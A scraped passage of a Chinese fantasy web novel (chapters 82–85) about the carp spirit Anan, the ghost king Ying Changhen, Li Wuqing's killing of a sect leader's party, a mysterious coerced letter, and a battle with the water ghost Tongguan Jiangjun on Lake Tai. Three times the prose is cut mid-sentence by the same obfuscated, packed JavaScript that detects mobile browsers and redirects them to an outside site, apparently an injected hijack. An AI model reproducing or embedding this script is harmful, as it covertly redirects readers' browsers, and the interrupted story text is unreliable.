七转仙灵丹,是天界神仙们用来度化动植物的专属丹药。 阿难自己有一颗就够了,可是他却偷了两颗。另一颗准备给谁,应长恨自然而然地就想到了莲花花妖任天真。 “知我者阿难弟弟也!我就是这么打算的。任天真也想飞升成仙,作为同样有梦想有志气的妖,我有机会上的话当然也要拉兄弟——啊不,姐妹一把。是吧?” “是,你和她都是妖,也都在飞升成仙这这方面有执念。眼下有这样的大好机会,你又愿意带上她,算是她撞大运了!” 君子有成人之美。那日看出了任天真对越君朴的执念后,阿难在普和殿偷七转仙灵丹时,就想到要多偷一颗给她。 因为喜欢一位仙官,所以花妖想要成就更好的自己。 无论是她的心仪还是她的心愿都没有错,既有着一股蓬勃向上积极进取的力量,又有着一份努力过了就再无遗憾的不强求。 阿难很欣赏这样既执着又洒脱的任天真,有机会可以帮她时,他绝不会吝啬于助她一臂之力。 . 一桌酒菜吃得差不多后,阿难让店小二撤去碗筷杯盘,再另外送一壶清茶,一盘洗净切好的水果上来。 “茶要明前的西湖龙井,水果要岭南的荔枝,西州的葡萄,再切上几片沙州的蜜瓜。” 店小二领命离去后,应长恨看着阿难半真半假地打趣起来。 “你现在变得很会享受嘛!以前啃隔夜的馒头时那副穷酸样藏哪儿去了?如今这副讲究的派头,不知道的人还以为你是什么世家公子出身呢。” 阿难打着哈哈道:“这都要感谢你啊!自从抱上你这位金主的大腿后我就抖起来了,现在抖得人五人六的,很有世家公子的派头吧?” “回头我要是不管你了,你还能倒回去重新适应穷困潦倒的小妖生活吗?” 应长恨随口抛出的这一假设性问题,阿难微微一笑道:“能啊——因为在别无选择的情况下,不能也得能。” 从神仙沦为妖怪这样落差巨大的生活,他在别无选择的情况下也只能努力适应,其他的又算得了什么呢? 82.宝宝 茶和果盘送上来后,应长恨一边喝着茶,一边幸灾乐祸地冷笑。 “英昊本想利用朱颜悔来搅乱无间鬼域,让我的鬼王宝座坐不安稳。没想到却事与愿违,反而让朱颜悔也对天界有了敌意。” “是啊!朱颜悔深恨郦子微,不杀了他誓不罢休。而紫衡帝君绝无可能用一位仙官的性命来收买她,这一次算是偷鸡不着蚀把米了。” “郦子微是朱颜悔反目成仇的前世情郎,而陆衢又是导致厉无情家破人亡的罪魁祸首。他们都跟天界的神仙结下了死仇,你说英昊现在会不会觉得还是我当这个鬼王比较好了?” “这么一比较,还的确是你成了最优人选。毕竟你只背着一口斩杀黑虎的黑锅,他俩却是跟江南一带的文神武神都动过手。” 一边慢条斯理地剥着一颗荔枝,应长恨一边似笑非笑地微勾唇角。 “既然我是最优人选,那英昊也就没得选了。估计他现在肠子都要悔青了,早知道暗中拉拢朱颜悔会是这样一个事与愿违的结果,还不如当初作壁上观,也不至于导致她跟天界反目成仇。我真是要感谢英昊,间接给了我一个收服她的机会。” 明光点头道:“没错,既然你知道了朱颜悔与郦子微之间的前世恩怨,只要答应帮助她报这个仇,她就一定会死心塌地效忠于你。” “回头我找朱颜悔好好聊上一聊,这次肯定能彻底收服这个疯批的魅鬼。” “那就这么办吧,明天你就回无间鬼域把这件事都处理一下,我就找个地方好好消化一下这枚灵丹。” “需要我替你护法吗?” “不用,我自己能搞定。” 应长恨从怀里掏出一样东西递给阿难。 “这几张传讯飞符你拿好,如果有什么搞不定的事,就直接联系我。” 阿难一句推托都没有就直接收下了。 “那我就不客气了,有需要的时候肯定会找你,到时候可别嫌我烦啊!” “你就算是万人嫌,我也不会嫌你的——我虽然不是一个有耐心的人,但救命恩人还是值得破格优待了。” 在应长恨有限的人生与漫长的鬼生中,曾经有两个人救过他。 第一位恩人他愿意付出所有去回报,第二位恩人也同样愿意倾尽所有作为报答。 无论阿难遇上什么难处,即使是天界的仙官——甚至是紫衡帝君想要杀他,应长恨也绝不会袖手旁观。 阿难哈哈一笑,“听起来我可以在鬼王这儿享受贵宾待遇。当初救你救得值啊!虽然是高风险但带来了高回报,真是太值了!” 应长恨的眼眸中犹有疑惑。 “说起来,当初你为什么要冒险从厉无情手里救下我?我到现在都还想不明白,毕竟那时我可是连死都要拉上你垫背。” “不是说了嘛,我一见到你就觉得很亲切很有感情。没准咱俩上辈子也有什么关系,搞不好还是父子呢。所以就算你表现得再混帐,老父亲还是不忍心看着你没命了。” 如果是别人这么胡说八道,应长恨的鬼头刀早就出鞘了,搞不好都已经把对方片成了松鼠桂鱼。 可是对着阿难他只有哭笑不得的份儿,顶多就是放嘴炮说上两句狠话。 “臭妖怪,你是不是想找打?是的话我可以充分满足你。” “不要了,开个玩笑而已了。阿难弟弟你要不爱听,我可以换个话题的。” . 阿难嘻嘻哈哈地跟应长恨说笑时,虎头铃铛突然从窗外悬空浮行地飞进来。 它亲亲热热地直接贴上主人的脸颊,铃声响得活像笑声叮咚,透着一股“虽未久别但重逢照样开心”的欢快劲儿。 阿难接住铃铛捧在手心里,由衷地笑道:“好小铃,你终于回来了,这一趟真是辛苦了!” 听到清脆的铃声响起,阿福很快从应长恨的袖口中钻了出来。 它一副不把自己当外人的架势直接蹦上阿难的掌心,想用额头亲密地蹭一蹭小铃。 小铃一如既往地嫌弃这个满脸傻笑的泥娃娃,十分高冷地与它保持距离,急得它摇头又晃脑。 “阿福,你给我回来。老干这种热脸贴冷屁股的事,很丢我的脸知道吗?” 挨了骂的阿福,脸上原本笑嘻嘻的表情变成了哭唧唧,还扑通一声倒在地板上滚来滚去,活像一个正在哭闹撒泼的熊孩子。 阿难失笑道:“你家阿福这么会闹腾啊?” 应长恨不为所动地冷着一张脸,“再闹就揍你。” 一听可能要挨揍,阿福立刻很识时务地弹起来。 一双眼珠在眼眶里转悠两圈后,它直接蹦上主人的肩膀,贴着他的脸颊狂蹭,一副撒娇卖乖的讨好架势。 阿难再一次失笑,“你家阿福还这么会撒娇啊!要是被别人看到这一幕,‘万骨枯’的威名就要不复存在了。” “它以前不会,这一招很明显是跟着你家小铃现学现用。” “哈哈,不错不错,阿福同学,你的学习能力很强嘛!” 来自阿难的表扬,让阿福露出得意洋洋的表情,更加起劲地缠着主人撒娇。从让人闻风丧胆的法宝,变成了一个疯狂撒娇的宝宝。 应长恨从小到大都不知道撒娇为何物,他的法宝也没有接受这方面熏陶的机会。 不过自从结交了阿难,见识了他和小铃之间亲密无间的互动,阿福与主人相处也有样学样地多了新方式。 应长恨还以为自己会不习惯这样的新方式,结果却发现自己居然很享受。 亲密关系,本就是人最重要的需求之一。 孤独了数百年之久,应长恨曾经以为自己可以不需要,现在才发现其实还是需要的,只是在得不到的时候只能被迫放弃。 . 太平岛,无极宗仙府,摩宵宫。 摩宵宫这阵子总算是消停了,再没有人敢来打仙剑日月明的主意。毕竟连仙门首宗万象宗的宗主左铨都知难而退,其他人等更加不用说了。 那日左铨一行乘船离开海中洲后,就此下落不明,连人带船都消失得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036868|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无影无踪。 万象宗已经派出多路人马四处寻找,暂时都没有发现。 作为人间凡界最大的修真门派,万象宗的宗主带着亲卫弟子出行,安全系数可以说是相当有保障。 可是一行人偏偏神秘失踪了,还连一点痕迹都找不出来,实在是怪事一桩。 这样的怪事,往往意味着有什么厉害的妖魔鬼怪出来搞事情了。但是为什么会挑中左铨一行人呢?他们怎么招惹上这么要命的邪祟了? 左铨失踪前一日带人去了摩宵宫,想撵走阴有苓接管无极宗,这一点被人视为惹祸的根源。 有人如是道:“阴有苓是谁?她可是背后有厉鬼撑腰的女人。左铨欺负到了她头上,搞不好就是厉鬼出手替她灭了他。” 阴有苓与应长恨的桃色新闻早就传得沸沸扬扬,在这个基础上加上这么一个“合理推测”,不少人听了都觉得极有可能就是这么一回事。 “有可能,太有可能了!也只有厉鬼的万骨枯一出手,左铨一行人才会逃无可逃。” “听说厉鬼应长恨已经是鬼王了,无间鬼域如今他就是至尊王者。阴有苓有这么一位鬼王撑腰,真心惹不起啊惹不起。” “就算没有鬼王撑腰,她也还有仙剑日月明在手。这位女宗主眼下真是一号惹不起的人物呢。” “是啊,之前太平岛一点也不太平,三天两头就有人找上门去搞事情。如今没人再敢这么干,毕竟连疫鬼厉无情都被阴有苓手持仙剑打跑了。” 恢复了太平的太平岛上,阴有苓每天早晚都在勤奋练剑。 没有人比她更清楚,眼下的太平局面,不过是借助仙剑日月明在狐假虎威。如果她个人的实力不提升,总有一天会穿帮露馅的。 这一夜,阴有苓的练剑结束时,一道白色人影飘然而至来到她面前。月光下,那张容颜俊秀的面孔,莹朗鲜彻似美玉。 “苓儿,你找我。” 得知左铨一行人神秘失踪后,阴有苓就给厉无情发了一道传讯飞符,此刻见到他问得直截了当。 “左铨他们的失踪是不是跟你有关?” 左铨等人的神秘失踪,在不明就里的人看来,极有可能是厉鬼应长恨出手了。 但是在阴有苓看来,却是秃子头上的虱子,明摆着的事——除了厉无情,她想不到还有其他人会这么做。 面对阴有苓的询问,厉无情也坦然承认道:“对,我在夷洲海峡射杀了他们一行所有人,再把尸体和船一起沉入了海底。” “你为什么要这么做?” “苓儿,当年我没有能力保护你,但现在不一样了。谁敢欺负你,我一定会让他们付出惨重的代价。” 阴有苓却不能接受这种太过疯狂很不理智的保护行径,努力跟厉无情讲道理。 “我能理解你作为哥哥想要保护妹妹的行为,可是你的行为要有分寸。左铨这人固然可恶,我也想收拾他出口气,但揍上一顿也就足够了。你怎么能出手就是杀招,还把随行的万象宗弟子全杀了?” 83.这封信 顿了一下后,阴有苓又引导厉无情换位思考。 “那些人不过都是遵宗主之令行事,你这样搞株连很没道理。如果因为你得罪了威毅真君钟离斐,他知道我是你妹妹也要连我一起杀,你能接受这样的无端株连吗?肯定不能吧?” 厉无情下意识地摇头道:“当然不能。” “己所不欲,勿施于人。如果你接受不了株连,以后就别再搞株连那一套。因为一人犯错或有罪就牵连他人,实在是一件很没道理的事。” “苓儿,我知道了。” 情不自禁地看了阴有令一眼后,厉无情又轻声道:“你当年也是这么善良,心肠软得连蚂蚁都不忍心踩死。” “善良也不是什么坏事,只是不当滥好人就行了。这些年我诛杀过不少邪祟,有恶必除从不手软。你如果杀的是该杀之人,我绝对不会唧唧歪歪多说什么。但如果罪不至死或是无端株连的人,你也不用出手那么狠吧?” “因为我在无间鬼域狠惯了!那个地方如果不够狠,根本就活不了。” 无间鬼域和人间凡界不一样,后者是一个有法有度有规则的正常世界,前者则是弱肉强食的黑暗丛林。 在这里弱者注定被吞噬,强者才能胜出为王。没有哪个强者是心慈手软的人,因为对别人心软就是对自己残忍。 阴有苓沉默了。 每一个人都是由过去的种种经历塑造而成,尤其是苦难的经历,在塑造人格时起到至关重要的作用。 厉无情在无间鬼域这种黑暗丛林熬了成百上千年,会变成眼下这副心狠手辣的样子,可谓是再正常不过了。 “你吃晚饭了吗?要不要我煮一碗面给你吃?” 阴有苓决定不讲道理了,改为话家常。因为心狠手辣的厉无情,心里最难忘最挂念的是曾经温馨平静的家常日子。 厉无情果然眼睛一亮,不由自主地就点头道:“好。” . 上一次,厉无情和阿难、任天真一同在摩宵宫做客时,阴有苓留他们吃了一顿家常饭。 她亲自下厨准备了一桌酒菜,款待三位客人。 菜是东海居民中常见的几道家常菜,凉拌海带,辣炒花蛤,红烧带鱼,香煎海蛎,油爆赤虾,清蒸黄鱼和鱼丸汤,酒是一坛新开封的花雕酒。 “靠山吃山靠海吃海,我们在岛上生活,吃的东西基本都是海里捞的,如果吃不惯也只能将就一下了!” 任天真笑盈盈地道:“我反正吃得惯,我还很爱吃这些海鲜河鲜类的东西。” 阿难道:“我也可以,肚子饿的时候什么都吃过,何况是这么一桌新鲜美味的菜。” 厉无情什么也没说,直接抄起筷子挟了一根海带丝放入口中,神色中有一丝微妙的变化。 “这是用葱油酱拌的海带丝。” “对,你不吃葱油酱吗?” “不,我最爱吃葱油酱了。” 前世西郢国的上官家,上官夫人经常亲自下厨。 她很擅长自制葱油酱,用来拌饭拌面拌凉菜,还可以煎葱油饼。煎出来的饼酥脆无比,葱香四溢,孩子们都百吃不腻。 女红与厨艺,都是芳苓从小跟着母亲学习的课程。她学得很快,也做得很好,葱油酱尤其得了真传,都吃不出来有什么区别。 那一碟凉拌海带丝,有着厉无情睽违多年的熟悉滋味。简简单单的一碟小菜,却吃得他百感交集,眼圈都不由自主地微微泛红。 阴有苓心细地留意到了这一点:看来葱油酱应该也和前世有关系。 难怪她从小就无师自通地会做这个酱,又特别爱吃。上辈子应该是心头好,上官鹤应该也是。 . 一碗汤鲜味美的花蛤面煮好后,阴有苓先浇上一大勺葱油酱,再端到厉无情面前,熟悉的食物香气让他情不自禁地深呼吸。 “快点趁热吃吧!面条坨掉了就不好吃了。” 吃上一口面条,再喝上一口汤,从喉咙到胃到身心都蔓延开了一阵暖意——不仅是食物带来的暖意,更是人间温情的暖意。 这样的温情曾经是厉无情最熟悉的东西,只是已经失去了很多年。如今能够再次感知这样的暖意,他由衷地觉得真好——比当鬼王还要好。 厉无情埋着头一口一口吃面时,阿宽在厨房门口探头探脑,一脸好奇又关心的表情。 那天阿宽叫上一帮师弟师妹跑回来声援自家宗主时,左铨等人已经走出了摩宵宫,他们并不清楚之前发生了什么。 后来阴有苓招呼厉无情、阿难和任天真一起留下吃饭,阿宽等人也只知道他们都是宗主的朋友。 至于这三个人中两个是妖一个是鬼,他们就全然不知了。 修真门派跟妖鬼有来往这种事,并不适合对外宣扬,对内也要三缄其口。 无极宗这几个弟子又都是半大不小的孩子,阴有苓也不能对他们透露太多。 所以阿宽他们听到的说辞,是厉无情假扮疫鬼配合阴有苓演了一场戏。不但成功吓跑了左铨,还能让其他人等都不敢再来摩宵宫找麻烦。 阿宽等人自然都很高兴,无极宗保住了,阴有苓能留下来继续当宗主,他们也都不会被赶走了。 这天晚上,阿宽正准备睡觉时听到厨房那边有动静,跑过来一看,发现是阴有苓在煮面招待厉无情。 之前厉无情和阿难、任天真一起出现时,阴有苓那个“他们都是我的朋友”这一说辞,不会令人多想。 但是今天晚上,这位俊美无俦的白衣公子独自一人出现在摩宵宫,阴有苓又亲自下厨煮了一碗香喷喷的面条给他吃,小胖墩就很难不多想了。 . 一眼瞥见了在厨房外探头探脑的阿宽,阴有苓走出去询问他。 “这么晚了你怎么还没睡?站在这儿发什么愣呢?” “我正准备睡觉了,听到厨房有动静就过来看一下。” “没事,上官公子来了,他还没吃晚饭,我就给他煮了一碗面。” 当日对一帮师弟师妹介绍厉无情时,阴有苓给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043875|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安了一个“上官公子”的头衔。 阴有苓虽然说得轻描淡写,但阿宽却还是无法控制自己的脑补,转身走出厨房所在的小院后,又探进半边身子把她叫出去。 “大师姐,你是不是和这位上官公子好了?如果是,那我们大家都支持你嫁给他,你不用担心我们会不接纳他。” 阿宽自以为是的一番话,听得阴有苓哭笑不得。 “没有的事,你想多了。上官公子就只是一个纯粹的朋友,不是什么相好。” “大师姐,上官公子看起来很不错,如果你想忘了大师兄重新开始,我们都会支持你的。” “瞎说什么呢?我和上官公子绝无可能。好了,你就别在这儿瞎操心了,赶紧回屋睡觉。” 阿宽和阴有苓的对话虽然在院门口进行,但是坐在厨房里吃面的厉无情,只需稍一凝神便能听得一清二楚。 一阵无法排遣的痛苦与绝望,突然如潮水般席卷而来,将他整个人彻底淹没…… . 阴有苓重新回到厨房时,已经吃完面的厉无情,直截了当地问了她一个问题。 “晁定武在成亲当天弃你而去,是不是另有隐情?如果他真是这样没良心的男人,被他抛弃的女人不可能会不怨恨,但是你显然一点都不恨他。” 阴有苓想了想没有再隐瞒他。 “是的,成亲那天,师兄突然留下一封书信消失了。可我一看信就知道,他不是抛弃我走了,而是出了什么事。” 那封信写得很简单,不过寥寥数语: 苓妹,我心有所属,不能娶你为妻。她是妖族,也不能容于师门,故此我只能离开无极宗。我自知此举对不起你和师父,日后无颜再见你们。权当我已经死了吧,此生不复相见,就此永诀——武哥手书 厉无情听了不解,“这封信有什么问题吗?” “单看内容没有问题,问题出在称呼上。师兄从没叫过我苓妹,一直都和爹一样叫我有苓。我也从没叫过他武哥,都是喊师兄的。” “所以,在这封信中,晁定武有意用了两个从没出现过的称呼,来提示你他写信的时候是身不由己。” “对,当时一定是有人逼他写下这么一封信。而他不能反抗,只能通过这种方式来间接提醒我,这封信并非他的本意。” “你确定这一点无误,晁定武绝对不是会做出这种事的人?” “我确定。我和师兄从小一起长大,他是怎么样的人,我比任何人都清楚。成亲当天抛弃新娘、叛出师门这种事,他是绝对不会做的。” 厉无情相信阴有苓的判断,不无奇怪地蹙起眉头道: “如果是这样的话,那到底是谁要用这种办法带走晁定武,并炮制出一个他无情无义的假象呢?” 阴有苓同样困惑极了,眼神中满是不解。 “这一点我也一直想不通,师兄只是一个没落宗门的弟子,又不是什么修真界的大人物,为什么有人要这么费尽心机抓走他并抹黑他?到底图什么呢?” 84.铜棺将军 太湖,云雾笼罩下的缥缈峰,宛如仙山隔云海。 峰底那处隐蔽的溶洞中,阿难七天前服下了那枚七转仙元灵丹,刚刚彻底完成了从妖鲤到仙鲤的变化。一身妖元化为仙元,法力也大有提升。 “小铃,我现在不是妖了,走,咱们回无极宗找大明,总算能摸一摸它了。” 虎头铃铛在主人的手腕上叮叮当当地响个不停,意思是问“那柄蠢得死的傻剑现在能认出你吗”。 “暂时还不能,不过我有了仙气,就不会再被它攻击,接下来可以再慢慢想法子。” 虎头铃铛又摇出一串急促又响亮的铃声,如果应长恨在的话,不用问阿难也能听出它又开启了骂剑模式。 “小铃,其实这也不能怪大明,它认不出我是很正常的事,毕竟我的变化实在是太大了。你如果不是被我封印在魂魄中跟了我三百年,你也和它一样认不出我的。” 虎头铃铛不听不听,铃声照样响得气势汹汹,翻来覆去地骂仙剑日月明是个大傻逼。 “行了小铃,别骂了,好吵的。” 虎头铃铛安静下来后,阿难依稀听到外面隐隐有雷声响起,像是一场暴风雨即将来临。 但那雷声却有点不正常,不是一声一声地打雷,而是轰隆隆地响个不停。 直觉告诉阿难,这动静很不对劲。他通过暗河游入太湖,浮出水面一看,发现太湖居然像大海一样涨潮了。 一道赤色的潮水正从远处奔涌而来,伴随着一阵阵闷雷似的潮声,仿佛是无数匹骏马在奔腾咆哮,声势十分浩大。 湖泊和海洋不同,没有潮汐现象,眼前这道声大如雷、势极雄壮、诡异无比的太湖赤潮,只有一种情况能够解释。 阿难的瞳孔蓦地紧缩:水鬼铜棺将军——这家伙又出来祸世了! . 无间鬼域的四大恶煞,水鬼铜棺将军成名最早,却露面极少,是一个神龙见首不见尾的传奇牛鬼。 他成名在一千多年前,这千余年里,加起来也就露过三四次面,但每一次都伴随着巨大的灾难。 铜棺将军顾名思义,是一位躺在铜棺里的将军。 传说中,那具铜棺平时沉在水底,一旦浮出水面,所到之处波涛如血、阴气冲天,灾难也将随之将临。 作为水鬼一枚,水就是铜棺将军的武器。驱水为涛,以溺杀人,是他的一大杀招。 他每一次出现,无论在哪处水域,附近一带的人们都将遭遇可怕的洪灾。 铜棺将军的第一次露面,是在黄泉之下的奈河。 奈河水是腥秽难闻的血水,鬼魂一旦掉进去就会立刻被淹没。 而铜棺将军那次在奈河露面,掀起了足足十丈高的巨浪,附近的鬼魂几乎全部被卷入河中,他也因此一举成名。 铜棺将军横空出世后,并没有趁胜追击问鼎鬼王宝座,而是消失得无影无踪。 三百多年后,他才再次出现,在黄河流域掀起了一场令数万人受灾的特大洪涝。 那场洪涝之后,铜棺将军再次消失了。直到时间又过去了几百年,他又一次出来兴风作浪。 总之这位水鬼的行为模式,概括来说就是几百年不露面,一露面就像憋坏了似的放大招搞破坏。 四大恶煞中的其他三位,虽然说起来也和正常人不太一样,都有够疯够狠的一面,但是跟铜棺将军一比,他们却都算得上正常了。 至少他们还会正常地跟人打交道,哪怕明是一盆火暗是一把刀,那也是在跟他人保持交流。 像铜棺将军这样可以几百年不露面,安静如病猫;一露面就发癫,疯狂如猛虎;绝对不是正常人的模式,更像是一个有躁郁症的神经病。 . 还没飞升之前,明光就听说了铜棺将军的大名。飞升之后,他一直在琢磨要怎么解决掉这个水鬼。 铜棺将军为祸人间的次数虽少,却是另一种程度的不鸣而已一鸣惊人,每一次都会带来死伤惨重的可怕洪灾。 当初就是为了对付水鬼铜棺将军,明光才会特别炼制了流金铃这一法宝。 可惜法宝刚刚炼成他就遭贬下凡,流金铃的法力也因此大减,只比普通的法器要强上那么几分。 如今的阿难不再是仙官,流金铃也只是一个法力不强的法宝。 这一晚,偏偏在太湖遭遇了时隔几百年后再次出来发癫的铜棺将军。 汹涌澎湃的赤潮水如同千军万马,挟着森森阴气直冲缥渺峰,而过了缥渺峰就是姑苏城。 此时午夜已过,姑苏城的老百姓基本上都已经入睡。 潮水以势不可挡的势头涌上岸后,也不知多少人要遭殃,连逃命的机会都没有。 虽然知道自己现在不是铜棺将军的对手,但阿难还是想试着阻拦一下。 “小铃,咱们拼一把吧?” 虎头铃铛已经变回法铃本体,跃跃欲试地响了两声,那是请求出战的意思。 “好小铃,看你的了,上。” 阿难手一挥,直接把小铃扔出去。 它在半空中突然光芒大绽,仿佛是一轮金灿灿的小太阳,瞬间把午夜的太湖照得亮如白昼。 流金铃由金星星精炼化而成,以威力咒驱动后,能绽放出至阳至纯的金色焰光,对妖魔鬼怪有着极大的杀伤力,法力低微的会被焰光当场火化。 . 流金铃的焰光四射,让逼近缥渺峰的赤色潮水顿时止住了,不再向前奔涌,而是一浪接一浪地叠起来,在湖面上叠成一堵高高的水墙。 水墙最上方起伏的波涛中,浮着一口巨大的青铜棺椁。棺材盖已经自动移开,躺在棺材里的人刚刚弹直身子。 铜棺将军穿着一身白金盔甲,脸上覆着一张白金面具,一副就算亲妈来了也认不出的神秘装束。 这一身盔甲再加上铜棺将军不俗的实力,他在流金铃的焰光威慑下还能站得笔挺。只是稍微偏着头,无法正视那股极其耀眼灼人的光芒。 “何、人、阻、我?” 可能是很久不跟人交流的原因,铜棺将军说话时很不流利,是一个字一个字往外蹦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056022|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿难飞上水墙,满脸笑眯眯的神色。 “在下和光,久仰将军大名,今日有幸遇见,想请将军一起去吃个夜宵,不知将军肯不肯赏脸?” “不、吃,滚、蛋。” 铜棺将军的脸藏在面具后面,看不到他脸上的表情,但从声音中一点也不难听出他此刻狂躁无比。 话音未落,铜棺将军就直接抓起那块沉重的棺材盖,像拍苍蝇似的冲着阿难当头拍下。 如果仙剑日月明在手,他还能跟他过上几招。此刻手无寸铁,不能硬杠,只能滑不溜丢地左右躲闪。 “将军,我好心好意要请你吃夜宵,你不吃就不吃吧,怎么还动手打人呢?” “烦、躁,想、发、泄。” 铜棺将军的声音越发狂躁了,追着阿难像拍小强似的拍个不停。多亏他在逃跑这一领域的专业技能很强,一再有惊无险地躲过了。 把铜棺将军引开那具青铜棺椁后,阿难右手暗中挥出一道金色光符。 这道“化为乌有”符没入铜棺时,巨大的棺椁瞬间就消失得无影无踪。 其实棺椁并没有消失,只是符咒的障眼法让它突然“不存在”了。 “将军快看,你的棺材怎么没了?” 铜棺将军回头一看,不觉一呆:“棺、材、呢?” “棺材不见了,你还不赶紧去找,弄丢了肯定对你没好处的是吧?” 铜棺将军的棺椁,千余年来一直与他须臾不离,可谓是他的安身立命之所。 一旦不见了,就算不会伤及魂体,他也还是很难不心慌意乱。 顾不上再追杀阿难,铜棺将军一头扎进水里找棺材去了。 失去了他的法力驱动,高高的水墙轰然一声垮下来,原本万马奔腾般的赤色狂潮不复存在,唯见太湖水面无风自起浪的波涛汹涌起伏着。 与此同时,流金铃的金色焰光倏忽消失了——以小铃目前的法力,只能支撑这么一点时间。 但这点时间也为阿难争取到了时间,至少已经成功化解那道气势汹汹的赤色狂潮。 不过想要彻底解决问题,必须把铜棺将军先解决了,否则他还是可以再次掀起滔天巨浪。 不能力敌就得智取,阿难紧追着铜棺将军潜入水中,化掌为刃,想要趁其不备时在他身后偷袭。 然而阿难的偷袭失败了,虽然铜棺将军脑子有点不太好使的样子,身手却足够好。 即使他正在疯疯癫癫又慌慌张张地忙着找棺材,却还是成功躲过了他从后面劈下的一记手刀。 “你、暗、算、我。” 铜棺将军目眦欲裂地瞪着阿难,每一个字都说得咬牙切齿,仇恨值拉满的那种。 “是啊,我暗算你,有本事来抓我。” 偷袭不成,阿难只能换一个法子对付铜棺将军。既然这个狂躁的水鬼想要发泄,那就由他来充当这个发泄的目标吧! 铜棺将军原本就像一座正在喷发的火山,阿难这番操作,算是彻底把他引爆了。 “我、要、宰、了,你。” 85.撞脸 太湖水域里生活着无数鱼群,今晚湖水很不寻常的动静,让不少鱼儿都在惊慌失措地四处乱蹿。 但是铜棺将军这一声怒吼后,环绕在他四周的那些不安蹿动的游鱼突然全部定住了, 成千上万条被定住的鱼,片刻后集体换成了同一个姿势——鱼立水中如刀剑,鱼鳞折射出金属般冷锐的寒光。 阿难直觉不妙:难道水鬼还能把鱼当刀剑使?那我就算有三头六臂也挡不住啊!再不跑就要被千刀万剐了。 好的不灵坏的灵,阿难的设想果然成了真。 在铜棺将军无比暴怒地指挥下,成千上万条鱼就像无数柄飞刀飞剑,朝着他疾射而来。 阿难赶紧嗖的一下蹿出水面,谁知那些飞鱼们也跟着冲出水面,活像一大群黄蜂似的不依不饶追着他。 这些鱼已经不再是普通的鱼,而是被铜棺将军以法力操控的僵尸鱼。 从它们死去的那一刻,鱼身就变得坚硬锐利如锋刃,可以轻而易举地将阿难分割肢解成碎块。 这时候,那道“化为乌有”符也失效了,青铜棺材又在太湖水面上露出来,棺材盖板也自动靠近与之汇合。 阿难一眼瞥见,趁着棺盖与棺身才合体到一半,不假思索地一头钻进去。 然后他一把拉上棺材盖板,再飞快打下一个封印,自己把自己封在了这口青铜棺材中。 好了,这下安全了。 就算铜棺将军再想杀阿难,一时半会儿也解不开他的封印,又不可能用暴力方式毁了自己安身立命的棺材。 虽然他不能在里头躲一辈子,但躲上一阵再伺机而动还是不成问题的。 棺材外,传来铜棺将军暴怒又狂躁的破口大骂,还有不断用力拍打棺材盖的声音。 就算阿难看不见,也不难想像出他现在是何等癫狂的模样——这水鬼本来就够疯的,现在还被自己气得更疯了。 突然间,铜棺将军炮制出来的各种声音都消失了,外面安静得像是深山无人一般。 阿难无法不感到奇怪:怎么回事?这疯疯癫癫的水鬼疯得正起劲,在把我宰了彻底发泄一番前,是不可能会突然安静下来的。除非……有人把他撂倒了。 如果是这样,那就是有救兵来了。 果然不出其然,棺材盖板很快被人轻轻敲了两下,一个熟悉的声音随之响起。 “臭妖怪,是你躲在里头当缩头乌龟吧?我已经摆平了铜棺将军,你可以出来了。” . 阿难要在缥渺峰完成从妖鲤到仙鲤的蜕变,这事他只告诉了应长恨一个人。 这一日,应长恨打算过来看看阿难的蜕变成果如何,独自一人离开无间鬼域,前往太湖缥缈峰。 距离缥缈峰还有好几百里路时,应长恨就发现那一方向的情况不对。 夜空中有金色焰光亮起,应该是什么仙家法宝,不少夜行的邪祟都望风而逃,有多远跑多远,压根不敢靠近。 应长恨艺高人胆大,打算过去看看什么情况。 他赶到的时候,阿难刚刚躲入青铜棺材中,铜棺将军正在一边怒骂一边猛拍棺材盖,整个人状若疯虎。 赤色的太湖水,冲天的阴气,诡异的青铜棺材和一身白金盔甲的将军,应长恨自然不难明了,这是几百年才露面一回的水鬼又跑出来了。 一开始,应长恨并不想跟铜棺将军过不去。 这位水鬼成名多年实力不俗,跟他又没有利益之争,他实在没必要与之硬碰硬。如果是哪位仙官在此降妖伏魔,他就更加没义务助其一臂之力。 应长恨正打算悄悄离开时,法力基本耗尽的流金铃发现了他,直接飞过来落在他手心里一阵叮当乱响。 那铃语虽然他听不懂,却也不难猜出几分,原来并不是有什么仙官在对付水鬼,而是阿难跟铜棺将军杠上了。 这种不自量力的危险行为,完全不像阿难平时的风格。 这小妖平时精得很,一点风吹草动跑得比兔子还快。今晚是哪根筋不对?居然连水鬼都敢斗。难道是成为仙鲤后自我膨胀了?这也未免太膨胀了一点吧! 应长恨又惊又愕又急又气,真想把阿难往死里臭骂一顿。但当务之急是救人,得先把人从青铜棺材里弄出来才能骂。 